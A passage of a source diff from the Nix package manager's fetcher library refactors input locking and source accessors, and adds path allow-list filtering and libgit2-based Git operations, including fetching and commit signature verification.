'%s', got '%s'", - to_string(), tree.actualPath, prevNarHash->to_string(SRI, true), narHash.to_string(SRI, true)); +void InputScheme::checkLocks(const Input & specified, const Input & final) const +{ + if (auto prevNarHash = specified.getNarHash()) { + if (final.getNarHash() != prevNarHash) { + if (final.getNarHash()) + throw Error((unsigned int) 102, "NAR hash mismatch in input '%s', expected '%s' but got '%s'", + specified.to_string(), prevNarHash->to_string(HashFormat::SRI, true), final.getNarHash()->to_string(HashFormat::SRI, true)); + else + throw Error((unsigned int) 102, "NAR hash mismatch in input '%s', expected '%s' but got none", + specified.to_string(), prevNarHash->to_string(HashFormat::SRI, true)); + } } - if (auto prevLastModified = getLastModified()) { - if (input.getLastModified() != prevLastModified) + if (auto prevLastModified = specified.getLastModified()) { + if (final.getLastModified() != prevLastModified) throw Error("'lastModified' attribute mismatch in input '%s', expected %d", - input.to_string(), *prevLastModified); + final.to_string(), *prevLastModified); } - if (auto prevRevCount = getRevCount()) { - if (input.getRevCount() != prevRevCount) + if (auto prevRev = specified.getRev()) { + if (final.getRev() != prevRev) + throw Error("'rev' attribute mismatch in input '%s', expected %s", + final.to_string(), prevRev->gitRev()); + } + + if (auto prevRevCount = specified.getRevCount()) { + if (final.getRevCount() != prevRevCount) throw Error("'revCount' attribute mismatch in input '%s', expected %d", - input.to_string(), *prevRevCount); + final.to_string(), *prevRevCount); } +} - input.locked = true; +std::pair, Input> Input::getAccessor(ref store) const +{ + try { + auto [accessor, final] = getAccessorUnchecked(store); - assert(input.hasAllInfo()); + scheme->checkLocks(*this, final); - return {std::move(tree), input}; + return {accessor, std::move(final)}; + } catch (Error & e) { + e.addTrace({}, "while fetching the input '%s'", to_string()); + throw; + } +} + +std::pair, Input> Input::getAccessorUnchecked(ref store) const +{ + // FIXME: cache the accessor + + if (!scheme) + throw Error("cannot fetch unsupported input '%s'", attrsToJSON(toAttrs())); + + auto [accessor, final] = scheme->getAccessor(store, *this); + + assert(!accessor->fingerprint); + accessor->fingerprint = scheme->getFingerprint(store, final); + + return {accessor, std::move(final)}; } Input Input::applyOverrides( @@ -192,12 +290,13 @@ std::optional Input::getSourcePath() const return scheme->getSourcePath(*this); } -void Input::markChangedFile( - std::string_view file, +void Input::putFile( + const CanonPath & path, + std::string_view contents, std::optional commitMsg) const { assert(scheme); - return scheme->markChangedFile(*this, file, commitMsg); + return scheme->putFile(*this, path, contents, commitMsg); } std::string Input::getName() const @@ -210,7 +309,11 @@ StorePath Input::computeStorePath(Store & store) const auto narHash = getNarHash(); if (!narHash) throw Error("cannot compute store path for unlocked input '%s'", to_string()); - return store.makeFixedOutputPath(FileIngestionMethod::Recursive, *narHash, getName()); + return store.makeFixedOutputPath(getName(), FixedOutputInfo { + .method = FileIngestionMethod::NixArchive, + .hash = *narHash, + .references = {}, + }); } std::string Input::getType() const @@ -221,8 +324,8 @@ std::string Input::getType() const std::optional Input::getNarHash() const { if (auto s = maybeGetStrAttr(attrs, "narHash")) { - auto hash = s->empty() ? Hash(htSHA256) : Hash::parseSRI(*s); - if (hash.type != htSHA256) + auto hash = s->empty() ? Hash(HashAlgorithm::SHA256) : Hash::parseSRI(*s); + if (hash.algo != HashAlgorithm::SHA256) throw UsageError("narHash must use SHA-256"); return hash; } @@ -244,8 +347,9 @@ std::optional Input::getRev() const try { hash = Hash::parseAnyPrefixed(*s); } catch (BadHash &e) { - // Default to sha1 for backwards compatibility with existing flakes - hash = Hash::parseAny(*s, htSHA1); + // Default to sha1 for backwards compatibility with existing + // usages (e.g. `builtins.fetchTree` calls or flake inputs). + hash = Hash::parseAny(*s, HashAlgorithm::SHA1); } } @@ -283,14 +387,18 @@ Input InputScheme::applyOverrides( return input; } -std::optional InputScheme::getSourcePath(const Input & input) +std::optional InputScheme::getSourcePath(const Input & input) const { return {}; } -void InputScheme::markChangedFile(const Input & input, std::string_view file, std::optional commitMsg) +void InputScheme::putFile( + const Input & input, + const CanonPath & path, + std::string_view contents, + std::optional commitMsg) const { - assert(false); + throw Error("input '%s' does not support modifying file '%s'", input.to_string(), path); } void InputScheme::clone(const Input & input, const Path & destDir) const @@ -298,4 +406,35 @@ void InputScheme::clone(const Input & input, const Path & destDir) const throw Error("do not know how to clone input '%s'", input.to_string()); } +std::optional InputScheme::experimentalFeature() const +{ + return {}; +} + +std::string publicKeys_to_string(const std::vector& publicKeys) +{ + return ((nlohmann::json) publicKeys).dump(); +} + +} + +namespace nlohmann { + +using namespace nix; + +fetchers::PublicKey adl_serializer::from_json(const json & json) { + fetchers::PublicKey res = { }; + if (auto type = optionalValueAt(json, "type")) + res.type = getString(*type); + + res.key = getString(valueAt(json, "key")); + + return res; +} + +void adl_serializer::to_json(json & json, fetchers::PublicKey p) { + json["type"] = p.type; + json["key"] = p.key; +} + } diff --git a/src/libfetchers/fetchers.hh b/src/libfetchers/fetchers.hh index 17da37f47..a5f9bdcc6 100644 --- a/src/libfetchers/fetchers.hh +++ b/src/libfetchers/fetchers.hh @@ -1,51 +1,73 @@ #pragma once +///@file #include "types.hh" #include "hash.hh" -#include "path.hh" +#include "canon-path.hh" +#include "json-impls.hh" #include "attrs.hh" #include "url.hh" #include +#include -namespace nix { class Store; } +#include "ref.hh" + +namespace nix { class Store; class StorePath; struct SourceAccessor; } namespace nix::fetchers { -struct Tree -{ - Path actualPath; - StorePath storePath; -}; - struct InputScheme; -/* The Input object is generated by a specific fetcher, based on the - * user-supplied input attribute in the flake.nix file, and contains +struct Settings; + +/** + * The `Input` object is generated by a specific fetcher, based on + * user-supplied information, and contains * the information that the specific fetcher needs to perform the * actual fetch. The Input object is most commonly created via the - * "fromURL()" or "fromAttrs()" static functions which are provided - * the url or attrset specified in the flake file. + * `fromURL()` or `fromAttrs()` static functions. */ - struct Input { friend struct InputScheme; + const Settings * settings; + + Input(const Settings & settings) + : settings{&settings} + { } + std::shared_ptr scheme; // note: can be null Attrs attrs; - bool locked = false; - bool direct = true; - /* path of the parent of this input, used for relative path resolution */ + /** + * path of the parent of this input, used for relative path resolution + */ std::optional parent; public: - static Input fromURL(const std::string & url); + /** + * Create an `Input` from a URL. + * + * The URL indicate which sort of fetcher, and provides information to that fetcher. + */ + static Input fromURL( + const Settings & settings, + const std::string & url, bool requireTree = true); - static Input fromURL(const ParsedURL & url); + static Input fromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree = true); - static Input fromAttrs(Attrs && attrs); + /** + * Create an `Input` from a an `Attrs`. + * + * The URL indicate which sort of fetcher, and provides information to that fetcher. + */ + static Input fromAttrs( + const Settings & settings, + Attrs && attrs); ParsedURL toURL() const; @@ -55,23 +77,40 @@ public: Attrs toAttrs() const; - /* Check whether this is a "direct" input, that is, not - one that goes through a registry. */ - bool isDirect() const { return direct; } + /** + * Check whether this is a "direct" input, that is, not + * one that goes through a registry. + */ + bool isDirect() const; - /* Check whether this is a "locked" input, that is, - one that contains a commit hash or content hash. */ - bool isLocked() const { return locked; } + /** + * Check whether this is a "locked" input, that is, + * one that contains a commit hash or content hash. + */ + bool isLocked() const; - bool hasAllInfo() const; - - bool operator ==(const Input & other) const; + bool operator ==(const Input & other) const noexcept; bool contains(const Input & other) const; - /* Fetch the input into the Nix store, returning the location in - the Nix store and the locked input. */ - std::pair fetch(ref store) const; + /** + * Fetch the entire input into the Nix store, returning the + * location in the Nix store and the locked input. + */ + std::pair fetchToStore(ref store) const; + + /** + * Return a `SourceAccessor` that allows access to files in the + * input without copying it to the store. Also return a possibly + * unlocked input. + */ + std::pair, Input> getAccessor(ref store) const; + +private: + + std::pair, Input> getAccessorUnchecked(ref store) const; + +public: Input applyOverrides( std::optional ref, @@ -81,8 +120,13 @@ public: std::optional getSourcePath() const; - void markChangedFile( - std::string_view file, + /** + * Write a file to this input, for input types that support + * writing. Optionally commit the change (for e.g. Git inputs). + */ + void putFile( + const CanonPath & path, + std::string_view contents, std::optional commitMsg) const; std::string getName() const; @@ -96,30 +140,56 @@ public: std::optional getRev() const; std::optional getRevCount() const; std::optional getLastModified() const; + + /** + * For locked inputs, return a string that uniquely specifies the + * content of the input (typically a commit hash or content hash). + */ + std::optional getFingerprint(ref store) const; }; - -/* The InputScheme represents a type of fetcher. Each fetcher - * registers with nix at startup time. When processing an input for a - * flake, each scheme is given an opportunity to "recognize" that - * input from the url or attributes in the flake file's specification - * and return an Input object to represent the input if it is - * recognized. The Input object contains the information the fetcher - * needs to actually perform the "fetch()" when called. +/** + * The `InputScheme` represents a type of fetcher. Each fetcher + * registers with nix at startup time. When processing an `Input`, + * each scheme is given an opportunity to "recognize" that + * input from the user-provided url or attributes + * and return an `Input` object to represent the input if it is + * recognized. The `Input` object contains the information the fetcher + * needs to actually perform the `fetch()` when called. */ struct InputScheme { virtual ~InputScheme() { } - virtual std::optional inputFromURL(const ParsedURL & url) const = 0; + virtual std::optional inputFromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree) const = 0; - virtual std::optional inputFromAttrs(const Attrs & attrs) const = 0; + virtual std::optional inputFromAttrs( + const Settings & settings, + const Attrs & attrs) const = 0; + + /** + * What is the name of the scheme? + * + * The `type` attribute is used to select which input scheme is + * used, and then the other fields are forwarded to that input + * scheme. + */ + virtual std::string_view schemeName() const = 0; + + /** + * Allowed attributes in an attribute set that is converted to an + * input. + * + * `type` is not included from this set, because the `type` field is + parsed first to choose which scheme; `type` is always required. + */ + virtual StringSet allowedAttrs() const = 0; virtual ParsedURL toURL(const Input & input) const; - virtual bool hasAllInfo(const Input & input) const = 0; - virtual Input applyOverrides( const Input & input, std::optional ref, @@ -127,34 +197,65 @@ struct InputScheme virtual void clone(const Input & input, const Path & destDir) const; - virtual std::optional getSourcePath(const Input & input); + virtual std::optional getSourcePath(const Input & input) const; - virtual void markChangedFile(const Input & input, std::string_view file, std::optional commitMsg); + virtual void putFile( + const Input & input, + const CanonPath & path, + std::string_view contents, + std::optional commitMsg) const; - virtual std::pair fetch(ref store, const Input & input) = 0; + virtual std::pair, Input> getAccessor(ref store, const Input & input) const = 0; + + /** + * Is this `InputScheme` part of an experimental feature? + */ + virtual std::optional experimentalFeature() const; + + virtual bool isDirect(const Input & input) const + { return true; } + + /** + * A sufficiently unique string that can be used as a cache key to identify the `input`. + * + * Only known-equivalent inputs should return the same fingerprint. + * + * This is not a stable identifier between Nix versions, but not guaranteed to change either. + */ + virtual std::optional getFingerprint(ref store, const Input & input) const + { return std::nullopt; } + + /** + * Return `true` if this input is considered "locked", i.e. it has + * attributes like a Git revision or NAR hash that uniquely + * identify its contents. + */ + virtual bool isLocked(const Input & input) const + { return false; } + + /** + * Check the locking attributes in `final` against + * `specified`. E.g. if `specified` has a `rev` attribute, then + * `final` must have the same `rev` attribute. Throw an exception + * if there is a mismatch. + */ + virtual void checkLocks(const Input & specified, const Input & final) const; }; void registerInputScheme(std::shared_ptr && fetcher); -struct DownloadFileResult +nlohmann::json dumpRegisterInputSchemeInfo(); + +struct PublicKey { - StorePath storePath; - std::string etag; - std::string effectiveUrl; + std::string type = "ssh-ed25519"; + std::string key; + + auto operator <=>(const PublicKey &) const = default; }; -DownloadFileResult downloadFile( - ref store, - const std::string & url, - const std::string & name, - bool locked, - const Headers & headers = {}); - -std::pair downloadTarball( - ref store, - const std::string & url, - const std::string & name, - bool locked, - const Headers & headers = {}); +std::string publicKeys_to_string(const std::vector&); } + +JSON_IMPL(fetchers::PublicKey) diff --git a/src/libfetchers/filtering-source-accessor.cc b/src/libfetchers/filtering-source-accessor.cc new file mode 100644 index 000000000..d4557b6d4 --- /dev/null +++ b/src/libfetchers/filtering-source-accessor.cc @@ -0,0 +1,98 @@ +#include "filtering-source-accessor.hh" + +namespace nix { + +std::optional FilteringSourceAccessor::getPhysicalPath(const CanonPath & path) +{ + checkAccess(path); + return next->getPhysicalPath(prefix / path); +} + +std::string FilteringSourceAccessor::readFile(const CanonPath & path) +{ + checkAccess(path); + return next->readFile(prefix / path); +} + +bool FilteringSourceAccessor::pathExists(const CanonPath & path) +{ + return isAllowed(path) && next->pathExists(prefix / path); +} + +std::optional FilteringSourceAccessor::maybeLstat(const CanonPath & path) +{ + checkAccess(path); + return next->maybeLstat(prefix / path); +} + +SourceAccessor::DirEntries FilteringSourceAccessor::readDirectory(const CanonPath & path) +{ + checkAccess(path); + DirEntries entries; + for (auto & entry : next->readDirectory(prefix / path)) { + if (isAllowed(path / entry.first)) + entries.insert(std::move(entry)); + } + return entries; +} + +std::string FilteringSourceAccessor::readLink(const CanonPath & path) +{ + checkAccess(path); + return next->readLink(prefix / path); +} + +std::string FilteringSourceAccessor::showPath(const CanonPath & path) +{ + return displayPrefix + next->showPath(prefix / path) + displaySuffix; +} + +void FilteringSourceAccessor::checkAccess(const CanonPath & path) +{ + if (!isAllowed(path)) + throw makeNotAllowedError + ? makeNotAllowedError(path) + : RestrictedPathError("access to path '%s' is forbidden", showPath(path)); +} + +struct AllowListSourceAccessorImpl : AllowListSourceAccessor +{ + std::set allowedPrefixes; + + AllowListSourceAccessorImpl( + ref next, + std::set && allowedPrefixes, + MakeNotAllowedError && makeNotAllowedError) + : AllowListSourceAccessor(SourcePath(next), std::move(makeNotAllowedError)) + , allowedPrefixes(std::move(allowedPrefixes)) + { } + + bool isAllowed(const CanonPath & path) override + { + return path.isAllowed(allowedPrefixes); + } + + void allowPrefix(CanonPath prefix) override + { + allowedPrefixes.insert(std::move(prefix)); + } +}; + +ref AllowListSourceAccessor::create( + ref next, + std::set && allowedPrefixes, + MakeNotAllowedError && makeNotAllowedError) +{ + return make_ref(next, std::move(allowedPrefixes), std::move(makeNotAllowedError)); +} + +bool CachingFilteringSourceAccessor::isAllowed(const CanonPath & path) +{ + auto i = cache.find(path); + if (i != cache.end()) return i->second; + auto res = isAllowedUncached(path); + cache.emplace(path, res); + return res; +} + +} diff --git a/src/libfetchers/filtering-source-accessor.hh b/src/libfetchers/filtering-source-accessor.hh new file mode 100644 index 000000000..1f8d84e53 --- /dev/null +++ b/src/libfetchers/filtering-source-accessor.hh @@ -0,0 +1,92 @@ +#pragma once + +#include "source-path.hh" + +namespace nix { + +/** + * A function that returns an exception of type + * `RestrictedPathError` explaining that access to `path` is + * forbidden. + */ +typedef std::function MakeNotAllowedError; + +/** + * An abstract wrapping `SourceAccessor` that performs access + * control. Subclasses should override `isAllowed()` to implement an + * access control policy. The error message is customized at construction. + */ +struct FilteringSourceAccessor : SourceAccessor +{ + ref next; + CanonPath prefix; + MakeNotAllowedError makeNotAllowedError; + + FilteringSourceAccessor(const SourcePath & src, MakeNotAllowedError && makeNotAllowedError) + : next(src.accessor) + , prefix(src.path) + , makeNotAllowedError(std::move(makeNotAllowedError)) + { + displayPrefix.clear(); + } + + std::optional getPhysicalPath(const CanonPath & path) override; + + std::string readFile(const CanonPath & path) override; + + bool pathExists(const CanonPath & path) override; + + std::optional maybeLstat(const CanonPath & path) override; + + DirEntries readDirectory(const CanonPath & path) override; + + std::string readLink(const CanonPath & path) override; + + std::string showPath(const CanonPath & path) override; + + /** + * Call `makeNotAllowedError` to throw a `RestrictedPathError` + * exception if `isAllowed()` returns `false` for `path`. + */ + void checkAccess(const CanonPath & path); + + /** + * Return `true` iff access to path is allowed. + */ + virtual bool isAllowed(const CanonPath & path) = 0; +}; + +/** + * A wrapping `SourceAccessor` that checks paths against a set of + * allowed prefixes. + */ +struct AllowListSourceAccessor : public FilteringSourceAccessor +{ + /** + * Grant access to the specified prefix. + */ + virtual void allowPrefix(CanonPath prefix) = 0; + + static ref create( + ref next, + std::set && allowedPrefixes, + MakeNotAllowedError && makeNotAllowedError); + + using FilteringSourceAccessor::FilteringSourceAccessor; +}; + +/** + * A wrapping `SourceAccessor` mix-in where `isAllowed()` caches the result of virtual `isAllowedUncached()`. + */ +struct CachingFilteringSourceAccessor : FilteringSourceAccessor +{ + std::map cache; + + using FilteringSourceAccessor::FilteringSourceAccessor; + + bool isAllowed(const CanonPath & path) override; + + virtual bool isAllowedUncached(const CanonPath & path) = 0; +}; + +} diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc new file mode 100644 index 000000000..114aa4ec0 --- /dev/null +++ b/src/libfetchers/git-utils.cc @@ -0,0 +1,1091 @@ +#include "git-utils.hh" +#include "cache.hh" +#include "finally.hh" +#include "processes.hh" +#include "signals.hh" +#include "users.hh" +#include "fs-sink.hh" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +namespace std { + +template<> struct hash +{ + size_t operator()(const git_oid & oid) const + { + return * (size_t *) oid.id; + } +}; + +} + +std::ostream & operator << (std::ostream & str, const git_oid & oid) +{ + str << git_oid_tostr_s(&oid); + return str; +} + +bool operator == (const git_oid & oid1, const git_oid & oid2) +{ + return git_oid_equal(&oid1, &oid2); +} + +namespace nix { + +struct GitSourceAccessor; + +// Some wrapper types that ensure that the git_*_free functions get called. +template +struct Deleter +{ + template + void operator()(T * p) const { del(p); }; +}; + +typedef std::unique_ptr> Repository; +typedef std::unique_ptr> TreeEntry; +typedef std::unique_ptr> Tree; +typedef std::unique_ptr> TreeBuilder; +typedef std::unique_ptr> Blob; +typedef std::unique_ptr> Object; +typedef std::unique_ptr> Commit; +typedef std::unique_ptr> Reference; +typedef std::unique_ptr> DescribeResult; +typedef std::unique_ptr> StatusList; +typedef std::unique_ptr> Remote; +typedef std::unique_ptr> GitConfig; +typedef std::unique_ptr> ConfigIterator; + +// A helper to ensure that we don't leak objects returned by libgit2. +template +struct Setter +{ + T & t; + typename T::pointer p = nullptr; + + Setter(T & t) : t(t) { } + + ~Setter() { if (p) t = T(p); } + + operator typename T::pointer * () { return &p; } +}; + +Hash toHash(const git_oid & oid) +{ + #ifdef GIT_EXPERIMENTAL_SHA256 + assert(oid.type == GIT_OID_SHA1); + #endif + Hash hash(HashAlgorithm::SHA1); + memcpy(hash.hash, oid.id, hash.hashSize); + return hash; +} + +static void initLibGit2() +{ + if (git_libgit2_init() < 0) + throw Error("initialising libgit2: %s", git_error_last()->message); +} + +git_oid hashToOID(const Hash & hash) +{ + git_oid oid; + if (git_oid_fromstr(&oid, hash.gitRev().c_str())) + throw Error("cannot convert '%s' to a Git OID", hash.gitRev()); + return oid; +} + +Object lookupObject(git_repository * repo, const git_oid & oid, git_object_t type = GIT_OBJECT_ANY) +{ + Object obj; + if (git_object_lookup(Setter(obj), repo, &oid, type)) { + auto err = git_error_last(); + throw Error("getting Git object '%s': %s", oid, err->message); + } + return obj; +} + +template +T peelObject(git_object * obj, git_object_t type) +{ + T obj2; + if (git_object_peel((git_object * *) (typename T::pointer *) Setter(obj2), obj, type)) { + auto err = git_error_last(); + throw Error("peeling Git object '%s': %s", *git_object_id(obj), err->message); + } + return obj2; +} + +template +T dupObject(typename T::pointer obj) +{ + T obj2; + if (git_object_dup((git_object * *) (typename T::pointer *) Setter(obj2), (git_object *) obj)) + throw Error("duplicating object '%s': %s", *git_object_id((git_object *) obj), git_error_last()->message); + return obj2; +} + +/** + * Peel the specified object (i.e. follow tag and commit objects) to + * either a blob or a tree. + */ +static Object peelToTreeOrBlob(git_object * obj) +{ + /* git_object_peel() doesn't handle blob objects, so handle those + specially. */ + if (git_object_type(obj) == GIT_OBJECT_BLOB) + return dupObject(obj); + else + return peelObject(obj, GIT_OBJECT_TREE); +} + +struct GitRepoImpl : GitRepo, std::enable_shared_from_this +{ + /** Location of the repository on disk. */ + std::filesystem::path path; + Repository repo; + + GitRepoImpl(std::filesystem::path _path, bool create, bool bare) + : path(std::move(_path)) + { + initLibGit2(); + + if (pathExists(path.string())) { + if (git_repository_open(Setter(repo), path.string().c_str())) + throw Error("opening Git repository '%s': %s", path, git_error_last()->message); + } else { + if (git_repository_init(Setter(repo), path.string().c_str(), bare)) + throw Error("creating Git repository '%s': %s", path, git_error_last()->message); + } + } + + operator git_repository * () + { + return repo.get(); + } + + uint64_t getRevCount(const Hash & rev) override + { + std::unordered_set done; + std::queue todo; + + todo.push(peelObject(lookupObject(*this, hashToOID(rev)).get(), GIT_OBJECT_COMMIT)); + + while (auto commit = pop(todo)) { + if (!done.insert(*git_commit_id(commit->get())).second) continue; + + for (size_t n = 0; n < git_commit_parentcount(commit->get()); ++n) { + git_commit * parent; + if (git_commit_parent(&parent, commit->get(), n)) + throw Error("getting parent of Git commit '%s': %s", *git_commit_id(commit->get()), git_error_last()->message); + todo.push(Commit(parent)); + } + } + + return done.size(); + } + + uint64_t getLastModified(const Hash & rev) override + { + auto commit = peelObject(lookupObject(*this, hashToOID(rev)).get(), GIT_OBJECT_COMMIT); + + return git_commit_time(commit.get()); + } + + bool isShallow() override + { + return git_repository_is_shallow(*this); + } + + void setRemote(const std::string & name, const std::string & url) override + { + if (git_remote_set_url(*this, name.c_str(), url.c_str())) + throw Error("setting remote '%s' URL to '%s': %s", name, url, git_error_last()->message); + } + + Hash resolveRef(std::string ref) override + { + Object object; + if (git_revparse_single(Setter(object), *this, ref.c_str())) + throw Error("resolving Git reference '%s': %s", ref, git_error_last()->message); + auto oid = git_object_id(object.get()); + return toHash(*oid); + } + + std::vector parseSubmodules(const std::filesystem::path & configFile) + { + GitConfig config; + if (git_config_open_ondisk(Setter(config), configFile.string().c_str())) + throw Error("parsing .gitmodules file: %s", git_error_last()->message); + + ConfigIterator it; + if (git_config_iterator_glob_new(Setter(it), config.get(), "^submodule\\..*\\.(path|url|branch)$")) + throw Error("iterating over .gitmodules: %s", git_error_last()->message); + + std::map entries; + + while (true) { + git_config_entry * entry = nullptr; + if (auto err = git_config_next(&entry, it.get())) { + if (err == GIT_ITEROVER) break; + throw Error("iterating over .gitmodules: %s", git_error_last()->message); + } + entries.emplace(entry->name + 10, entry->value); + } + + std::vector result; + + for (auto & [key, value] : entries) { + if (!hasSuffix(key, ".path")) continue; + std::string key2(key, 0, key.size() - 5); + auto path = CanonPath(value); + result.push_back(Submodule { + .path = path, + .url = entries[key2 + ".url"], + .branch = entries[key2 + ".branch"], + }); + } + + return result; + } + + // Helper for statusCallback below. + static int statusCallbackTrampoline(const char * path, unsigned int statusFlags, void * payload) + { + return (*((std::function *) payload))(path, statusFlags); + } + + WorkdirInfo getWorkdirInfo() override + { + WorkdirInfo info; + + /* Get the head revision, if any. */ + git_oid headRev; + if (auto err = git_reference_name_to_id(&headRev, *this, "HEAD")) { + if (err != GIT_ENOTFOUND) + throw Error("resolving HEAD: %s", git_error_last()->message); + } else + info.headRev = toHash(headRev); + + /* Get all tracked files and determine whether the working + directory is dirty. */ + std::function statusCallback = [&](const char * path, unsigned int statusFlags) + { + if (!(statusFlags & GIT_STATUS_INDEX_DELETED) && + !(statusFlags & GIT_STATUS_WT_DELETED)) + info.files.insert(CanonPath(path)); + if (statusFlags != GIT_STATUS_CURRENT) + info.isDirty = true; + return 0; + }; + + git_status_options options = GIT_STATUS_OPTIONS_INIT; + options.flags |= GIT_STATUS_OPT_INCLUDE_UNMODIFIED; + options.flags |= GIT_STATUS_OPT_EXCLUDE_SUBMODULES; + if (git_status_foreach_ext(*this, &options, &statusCallbackTrampoline, &statusCallback)) + throw Error("getting working directory status: %s", git_error_last()->message); + + /* Get submodule info. */ + auto modulesFile = path / ".gitmodules"; + if (pathExists(modulesFile.string())) + info.submodules = parseSubmodules(modulesFile); + + return info; + } + + std::optional getWorkdirRef() override + { + Reference ref; + if (git_reference_lookup(Setter(ref), *this, "HEAD")) + throw Error("looking up HEAD: %s", git_error_last()->message); + + if (auto target = git_reference_symbolic_target(ref.get())) + return target; + + return std::nullopt; + } + + std::vector> getSubmodules(const Hash & rev, bool exportIgnore) override; + + std::string resolveSubmoduleUrl(const std::string & url) override + { + git_buf buf = GIT_BUF_INIT; + if (git_submodule_resolve_url(&buf, *this, url.c_str())) + throw Error("resolving Git submodule URL '%s'", url); + Finally cleanup = [&]() { git_buf_dispose(&buf); }; + + std::string res(buf.ptr); + return res; + } + + bool hasObject(const Hash & oid_) override + { + auto oid = hashToOID(oid_); + + Object obj; + if (auto errCode = git_object_lookup(Setter(obj), *this, &oid, GIT_OBJECT_ANY)) { + if (errCode == GIT_ENOTFOUND) return false; + auto err = git_error_last(); + throw Error("getting Git object '%s': %s", oid, err->message); + } + + return true; + } + + /** + * A 'GitSourceAccessor' with no regard for export-ignore or any other transformations. + */ + ref getRawAccessor(const Hash & rev); + + ref getAccessor(const Hash & rev, bool exportIgnore) override; + + ref getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError e) override; + + ref getFileSystemObjectSink() override; + + static int sidebandProgressCallback(const char * str, int len, void * payload) + { + auto act = (Activity *) payload; + act->result(resFetchStatus, trim(std::string_view(str, len))); + return getInterrupted() ? -1 : 0; + } + + static int transferProgressCallback(const git_indexer_progress * stats, void * payload) + { + auto act = (Activity *) payload; + act->result(resFetchStatus, + fmt("%d/%d objects received, %d/%d deltas indexed, %.1f MiB", + stats->received_objects, + stats->total_objects, + stats->indexed_deltas, + stats->total_deltas, + stats->received_bytes / (1024.0 * 1024.0))); + return getInterrupted() ? -1 : 0; + } + + void fetch( + const std::string & url, + const std::string & refspec, + bool shallow) override + { + Activity act(*logger, lvlTalkative, actFetchTree, fmt("fetching Git repository '%s'", url)); + + // TODO: implement git-credential helper support (preferably via libgit2, which as of 2024-01 does not support that) + // then use code that was removed in this commit (see blame) + + auto dir = this->path; + Strings gitArgs; + if (shallow) { + gitArgs = { "-C", dir.string(), "fetch", "--quiet", "--force", "--depth", "1", "--", url, refspec }; + } + else { + gitArgs = { "-C", dir.string(), "fetch", "--quiet", "--force", "--", url, refspec }; + } + + runProgram(RunOptions { + .program = "git", + .lookupPath = true, + // FIXME: git stderr messes up our progress indicator, so + // we're using --quiet for now. Should process its stderr. + .args = gitArgs, + .input = {}, + .isInteractive = true + }); + } + + void verifyCommit( + const Hash & rev, + const std::vector & publicKeys) override + { + // Create ad-hoc allowedSignersFile and populate it with publicKeys + auto allowedSignersFile = createTempFile().second; + std::string allowedSigners; + for (const fetchers::PublicKey & k : publicKeys) { + if (k.type != "ssh-dsa" + && k.type != "ssh-ecdsa" + && k.type != "ssh-ecdsa-sk" + && k.type != "ssh-ed25519" + && k.type != "ssh-ed25519-sk" + && k.type != "ssh-rsa") + throw Error("Unknown key type '%s'.\n" + "Please use one of\n" + "- ssh-dsa\n" + " ssh-ecdsa\n" + " ssh-ecdsa-sk\n" + " ssh-ed25519\n" + " ssh-ed25519-sk\n" + " ssh-rsa", k.type); + allowedSigners += "* " + k.type + " " + k.key + "\n"; + } + writeFile(allowedSignersFile, allowedSigners); + + // Run verification command + auto [status, output] = runProgram(RunOptions { + .program = "git", + .args = { + "-c", + "gpg.ssh.allowedSignersFile=" + allowedSignersFile, + "-C", path.string(), + "verify-commit", + rev.gitRev() + }, + .mergeStderrToStdout = true, + }); + + /* Evaluate result through status code and checking if public + key fingerprints appear on stderr. This is neccessary + because the git command might also succeed due to the + commit being signed by gpg keys that are present in the + users key agent. */ + std::string re = R"(Good "git" signature for \* with .* key SHA256:[)"; + for (const fetchers::PublicKey & k : publicKeys){ + // Calculate sha256 fingerprint from public key and escape the regex symbol '+' to match the key literally + auto fingerprint = trim(hashString(HashAlgorithm::SHA256, base64Decode(k.key)).to_string(nix::HashFormat::Base64, false), "="); + auto escaped_fingerprint = std::regex_replace(fingerprint, std::regex("\\+"), "\\+" ); + re += "(" + escaped_fingerprint + ")"; + } + re += "]"; + if (status == 0 && std::regex_search(output, std::regex(re))) + printTalkative("Signature verification on commit %s succeeded.", rev.gitRev()); + else + throw Error("Commit signature verification on commit %s failed: %s", rev.gitRev(), output); + } + + Hash treeHashToNarHash(const Hash & treeHash) override + { + auto accessor = getAccessor(treeHash, false); + + fetchers::Cache::Key cacheKey{"treeHashToNarHash", {{"treeHash", treeHash.gitRev()}}}; + + if (auto res = fetchers::getCache()->lookup(cacheKey)) + return Hash::parseAny(fetchers::getStrAttr(*res, "narHash"), HashAlgorithm::SHA256); + + auto narHash = accessor->hashPath(CanonPath::root); + + fetchers::getCache()->upsert(cacheKey, fetchers::Attrs({{"narHash", narHash.to_string(HashFormat::SRI, true)}})); + + return narHash; + } + + Hash dereferenceSingletonDirectory(const Hash & oid_) override + { + auto oid = hashToOID(oid_); + + auto _tree = lookupObject(*this, oid, GIT_OBJECT_TREE); + auto tree = (const git_tree *) &*_tree; + + if (git_tree_entrycount(tree) == 1) { + auto entry = git_tree_entry_byindex(tree, 0); + auto mode = git_tree_entry_filemode(entry); + if (mode == GIT_FILEMODE_TREE) + oid = *git_tree_entry_id(entry); + } + + return toHash(oid); + } +}; + +ref GitRepo::openRepo(const std::filesystem::path & path, bool create, bool bare) +{ + return make_ref(path, create, bare); +} + +/** + * Raw git tree input accessor. + */ +struct GitSourceAccessor : SourceAccessor +{ + ref repo; + Object root; + + GitSourceAccessor(ref repo_, const Hash & rev) + : repo(repo_) + , root(peelToTreeOrBlob(lookupObject(*repo, hashToOID(rev)).get())) + { + } + + std::string readBlob(const CanonPath & path, bool symlink) + { + auto blob = getBlob(path, symlink); + + auto data = std::string_view((const char *) git_blob_rawcontent(blob.get()), git_blob_rawsize(blob.get())); + + return std::string(data); + } + + std::string readFile(const CanonPath & path) override + { + return readBlob(path, false); + } + + bool pathExists(const CanonPath & path) override + { + return path.isRoot() ? true : (bool) lookup(path); + } + + std::optional maybeLstat(const CanonPath & path) override + { + if (path.isRoot()) + return Stat { .type = git_object_type(root.get()) == GIT_OBJECT_TREE ? tDirectory : tRegular }; + + auto entry = lookup(path); + if (!entry) + return std::nullopt; + + auto mode = git_tree_entry_filemode(entry); + + if (mode == GIT_FILEMODE_TREE) + return Stat { .type = tDirectory }; + + else if (mode == GIT_FILEMODE_BLOB) + return Stat { .type = tRegular }; + + else if (mode == GIT_FILEMODE_BLOB_EXECUTABLE) + return 